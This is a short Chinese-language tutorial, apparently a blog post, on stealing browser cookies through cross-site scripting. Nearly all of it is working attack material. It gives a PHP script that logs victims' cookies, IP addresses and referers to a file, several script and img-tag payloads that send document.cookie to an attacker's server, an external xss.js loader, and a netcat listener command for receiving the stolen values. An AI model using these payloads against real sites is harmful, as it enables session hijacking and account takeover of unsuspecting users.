- 通过网上的XSS平台接收cookie
- 通过PHP页面接收cookie
<?php
$cookie=$_GET['cookie'];
$ip=getenv('REMOTE_ADDR');
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$rec=fopen('cookie.txt','a');
fwrite($rec,"IP:".$ip."| time:".$time."| referer:".$referer."| cookie:".$cookie."\n");
fclose($rec);
?>
方法一:直接利用script和img等标签构造发送cookie的payload。
如:
<script>document.write('<img src="http://vps/receive.php?cookie='+document.cookie+'" />')</script>
方法二:加载外部JS文件盗取cookie。
xss.js:
new Image().src="http://vps/receive.php?cookie="+document.cookie;
payload:
<script src="http://vps/xss.js"></script>
减少了输入字符的长度。
- 通过nc接收用户cookie
插入payload:
<script>document.write('<img src="http://vps/?'+document.cookie+'" />')</script>
然后在自己的vps中监听本地80端口(如果想从别的端口监听,需要在payload中vps地址后面加上指定的端口号)。
命令:nc -lvp 80
链接:
Comments | NOTHING